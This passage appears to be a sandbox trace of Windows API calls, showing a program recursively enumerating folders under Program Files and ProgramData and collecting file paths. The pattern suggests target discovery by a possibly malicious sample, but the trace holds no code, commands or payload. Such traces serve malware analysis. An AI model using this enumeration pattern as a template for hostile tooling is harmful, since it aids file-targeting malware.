(lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0121.126] lstrlenW (lpString="settings.ini") returned 12 [0121.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="settings.ini" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini") returned="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini" [0121.126] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini") returned 51 [0121.126] lstrcpyW (in: lpString1=0x24a4b10, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini") returned="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini" [0121.126] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.126] lstrcmpW (lpString1="Shared Gadgets", lpString2=".") returned 1 [0121.126] lstrcmpW (lpString1="Shared Gadgets", lpString2="..") returned 1 [0121.126] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0121.126] lstrlenW (lpString="Shared Gadgets") returned 14 [0121.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="Shared Gadgets" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" [0121.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\" [0121.126] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\") returned 54 [0121.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*" [0121.126] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.126] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.126] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.126] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.126] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.126] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.126] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.126] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.126] lstrcmpW (lpString1="sidebar.exe", lpString2=".") returned 1 [0121.126] lstrcmpW (lpString1="sidebar.exe", lpString2="..") returned 1 [0121.126] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0121.126] lstrlenW (lpString="sidebar.exe") returned 11 [0121.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="sidebar.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe" [0121.126] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe") returned 50 [0121.126] lstrcpyW (in: lpString1=0x24a4b80, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe" [0121.126] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.126] lstrcmpW (lpString1="wlsrvc.dll", lpString2=".") returned 1 [0121.126] lstrcmpW (lpString1="wlsrvc.dll", lpString2="..") returned 1 [0121.126] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0121.126] lstrlenW (lpString="wlsrvc.dll") returned 10 [0121.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="wlsrvc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll" [0121.126] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll") returned 49 [0121.126] lstrcpyW (in: lpString1=0x24a4bf0, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll" [0121.126] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.126] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.126] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0 [0121.127] FindClose (in: hFindFile=0x8256e0 | out: hFindFile=0x8256e0) returned 1 [0121.127] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0121.127] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0121.127] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0121.127] lstrcmpW (lpString1="ProgramData", lpString2="Windows") returned -1 [0121.127] lstrcmpW (lpString1="ProgramData", lpString2="Program Files") returned 1 [0121.127] lstrlenW (lpString="c:\\") returned 3 [0121.127] lstrlenW (lpString="ProgramData") returned 11 [0121.127] lstrcatW (in: lpString1="c:\\", lpString2="ProgramData" | out: lpString1="c:\\ProgramData") returned="c:\\ProgramData" [0121.127] lstrcatW (in: lpString1="c:\\ProgramData", lpString2="\\" | out: lpString1="c:\\ProgramData\\") returned="c:\\ProgramData\\" [0121.127] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.127] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="*" | out: lpString1="c:\\ProgramData\\*") returned="c:\\ProgramData\\*" [0121.127] FindFirstFileW (in: lpFileName="c:\\ProgramData\\*", lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0x8256e0 [0121.127] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.127] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.127] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.127] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.127] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.127] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0121.127] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0121.127] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.127] lstrlenW (lpString="Adobe") returned 5 [0121.127] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Adobe" | out: lpString1="c:\\ProgramData\\Adobe") returned="c:\\ProgramData\\Adobe" [0121.127] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\") returned="c:\\ProgramData\\Adobe\\" [0121.127] lstrlenW (lpString="c:\\ProgramData\\Adobe\\") returned 21 [0121.127] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\*") returned="c:\\ProgramData\\Adobe\\*" [0121.127] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.189] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.189] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.189] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.189] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.189] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.189] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0121.189] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0121.189] lstrlenW (lpString="c:\\ProgramData\\Adobe\\") returned 21 [0121.189] lstrlenW (lpString="Acrobat") returned 7 [0121.189] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat") returned="c:\\ProgramData\\Adobe\\Acrobat" [0121.189] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\") returned="c:\\ProgramData\\Adobe\\Acrobat\\" [0121.189] lstrlenW (lpString="c:\\ProgramData\\Adobe\\Acrobat\\") returned 29 [0121.189] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\*") returned="c:\\ProgramData\\Adobe\\Acrobat\\*" [0121.189] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.190] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.190] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.190] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.190] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.190] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.190] lstrcmpW (lpString1="10.0", lpString2=".") returned 1 [0121.190] lstrcmpW (lpString1="10.0", lpString2="..") returned 1 [0121.190] lstrlenW (lpString="c:\\ProgramData\\Adobe\\Acrobat\\") returned 29 [0121.190] lstrlenW (lpString="10.0") returned 4 [0121.190] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\", lpString2="10.0" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="c:\\ProgramData\\Adobe\\Acrobat\\10.0" [0121.190] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.190] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.190] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.190] lstrcmpW (lpString1="ARM", lpString2=".") returned 1 [0121.190] lstrcmpW (lpString1="ARM", lpString2="..") returned 1 [0121.190] lstrlenW (lpString="c:\\ProgramData\\Adobe\\") returned 21 [0121.190] lstrlenW (lpString="ARM") returned 3 [0121.190] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\ProgramData\\Adobe\\ARM") returned="c:\\ProgramData\\Adobe\\ARM" [0121.190] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\") returned="c:\\ProgramData\\Adobe\\ARM\\" [0121.190] lstrlenW (lpString="c:\\ProgramData\\Adobe\\ARM\\") returned 25 [0121.190] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\*") returned="c:\\ProgramData\\Adobe\\ARM\\*" [0121.190] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.191] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.191] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.191] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.191] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.191] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.191] lstrcmpW (lpString1="Reader_10.0.0", lpString2=".") returned 1 [0121.191] lstrcmpW (lpString1="Reader_10.0.0", lpString2="..") returned 1 [0121.191] lstrlenW (lpString="c:\\ProgramData\\Adobe\\ARM\\") returned 25 [0121.191] lstrlenW (lpString="Reader_10.0.0") returned 13 [0121.191] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM\\", lpString2="Reader_10.0.0" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned="c:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" [0121.191] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.191] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.191] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.191] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.191] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.191] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0121.191] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0121.191] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.191] lstrlenW (lpString="Application Data") returned 16 [0121.191] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Application Data" | out: lpString1="c:\\ProgramData\\Application Data") returned="c:\\ProgramData\\Application Data" [0121.191] lstrcatW (in: lpString1="c:\\ProgramData\\Application Data", lpString2="\\" | out: lpString1="c:\\ProgramData\\Application Data\\") returned="c:\\ProgramData\\Application Data\\" [0121.191] lstrlenW (lpString="c:\\ProgramData\\Application Data\\") returned 32 [0121.191] lstrcatW (in: lpString1="c:\\ProgramData\\Application Data\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Application Data\\*") returned="c:\\ProgramData\\Application Data\\*" [0121.191] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Application Data\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0xffffffff [0121.191] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.191] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0121.191] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0121.191] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.191] lstrlenW (lpString="Desktop") returned 7 [0121.191] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Desktop" | out: lpString1="c:\\ProgramData\\Desktop") returned="c:\\ProgramData\\Desktop" [0121.191] lstrcatW (in: lpString1="c:\\ProgramData\\Desktop", lpString2="\\" | out: lpString1="c:\\ProgramData\\Desktop\\") returned="c:\\ProgramData\\Desktop\\" [0121.191] lstrlenW (lpString="c:\\ProgramData\\Desktop\\") returned 23 [0121.191] lstrcatW (in: lpString1="c:\\ProgramData\\Desktop\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Desktop\\*") returned="c:\\ProgramData\\Desktop\\*" [0121.191] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Desktop\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0xffffffff [0121.192] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.192] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0121.192] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0121.192] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.192] lstrlenW (lpString="Documents") returned 9 [0121.192] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Documents" | out: lpString1="c:\\ProgramData\\Documents") returned="c:\\ProgramData\\Documents" [0121.192] lstrcatW (in: lpString1="c:\\ProgramData\\Documents", lpString2="\\" | out: lpString1="c:\\ProgramData\\Documents\\") returned="c:\\ProgramData\\Documents\\" [0121.192] lstrlenW (lpString="c:\\ProgramData\\Documents\\") returned 25 [0121.192] lstrcatW (in: lpString1="c:\\ProgramData\\Documents\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Documents\\*") returned="c:\\ProgramData\\Documents\\*" [0121.192] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Documents\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0xffffffff [0121.192] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.192] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0121.192] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0121.192] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.192] lstrlenW (lpString="Favorites") returned 9 [0121.192] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Favorites" | out: lpString1="c:\\ProgramData\\Favorites") returned="c:\\ProgramData\\Favorites" [0121.192] lstrcatW (in: lpString1="c:\\ProgramData\\Favorites", lpString2="\\" | out: lpString1="c:\\ProgramData\\Favorites\\") returned="c:\\ProgramData\\Favorites\\" [0121.192] lstrlenW (lpString="c:\\ProgramData\\Favorites\\") returned 25 [0121.192] lstrcatW (in: lpString1="c:\\ProgramData\\Favorites\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Favorites\\*") returned="c:\\ProgramData\\Favorites\\*" [0121.192] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Favorites\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0xffffffff [0121.192] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.192] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0121.192] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0121.192] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.192] lstrlenW (lpString="Microsoft") returned 9 [0121.192] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Microsoft" | out: lpString1="c:\\ProgramData\\Microsoft") returned="c:\\ProgramData\\Microsoft" [0121.192] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\") returned="c:\\ProgramData\\Microsoft\\" [0121.192] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.192] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\*") returned="c:\\ProgramData\\Microsoft\\*" [0121.192] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.192] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.192] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.192] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.192] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.192] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.193] lstrcmpW (lpString1="Assistance", lpString2=".") returned 1 [0121.193] lstrcmpW (lpString1="Assistance", lpString2="..") returned 1 [0121.193] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.193] lstrlenW (lpString="Assistance") returned 10 [0121.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Assistance" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance") returned="c:\\ProgramData\\Microsoft\\Assistance" [0121.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\") returned="c:\\ProgramData\\Microsoft\\Assistance\\" [0121.193] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Assistance\\") returned 36 [0121.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\*") returned="c:\\ProgramData\\Microsoft\\Assistance\\*" [0121.193] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.193] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.193] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.193] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.193] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.193] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.193] lstrcmpW (lpString1="Client", lpString2=".") returned 1 [0121.193] lstrcmpW (lpString1="Client", lpString2="..") returned 1 [0121.193] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Assistance\\") returned 36 [0121.193] lstrlenW (lpString="Client") returned 6 [0121.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\", lpString2="Client" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\Client") returned="c:\\ProgramData\\Microsoft\\Assistance\\Client" [0121.193] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.193] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.193] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.193] lstrcmpW (lpString1="ClickToRun", lpString2=".") returned 1 [0121.193] lstrcmpW (lpString1="ClickToRun", lpString2="..") returned 1 [0121.193] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.193] lstrlenW (lpString="ClickToRun") returned 10 [0121.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="ClickToRun" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun") returned="c:\\ProgramData\\Microsoft\\ClickToRun" [0121.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\" [0121.193] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\*") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\*" [0121.193] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\ClickToRun\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.193] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.193] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.193] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.193] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.193] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.193] lstrcmpW (lpString1="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A", lpString2=".") returned 1 [0121.193] lstrcmpW (lpString1="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A", lpString2="..") returned 1 [0121.193] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.193] lstrlenW (lpString="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A") returned 36 [0121.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\23A8C7B1-0195-4D07-B6CF-93A6BF126B2A") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\23A8C7B1-0195-4D07-B6CF-93A6BF126B2A" [0121.194] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.194] lstrcmpW (lpString1="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96", lpString2=".") returned 1 [0121.194] lstrcmpW (lpString1="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96", lpString2="..") returned 1 [0121.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.194] lstrlenW (lpString="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96") returned 36 [0121.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\ADF651D2-0955-41AF-92E7-FAF4B0CAEB96") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\ADF651D2-0955-41AF-92E7-FAF4B0CAEB96" [0121.194] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.194] lstrcmpW (lpString1="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23", lpString2=".") returned 1 [0121.194] lstrcmpW (lpString1="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23", lpString2="..") returned 1 [0121.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.194] lstrlenW (lpString="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23") returned 36 [0121.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23" [0121.194] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.194] lstrcmpW (lpString1="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C", lpString2=".") returned 1 [0121.194] lstrcmpW (lpString1="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C", lpString2="..") returned 1 [0121.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.194] lstrlenW (lpString="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C") returned 36 [0121.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C" [0121.194] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.194] lstrcmpW (lpString1="DeploymentConfig.0.xml", lpString2=".") returned 1 [0121.194] lstrcmpW (lpString1="DeploymentConfig.0.xml", lpString2="..") returned 1 [0121.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.194] lstrlenW (lpString="DeploymentConfig.0.xml") returned 22 [0121.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.0.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" [0121.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned 58 [0121.194] lstrcpyW (in: lpString1=0x24a62f8, lpString2="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" [0121.194] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.194] lstrcmpW (lpString1="DeploymentConfig.1.xml", lpString2=".") returned 1 [0121.194] lstrcmpW (lpString1="DeploymentConfig.1.xml", lpString2="..") returned 1 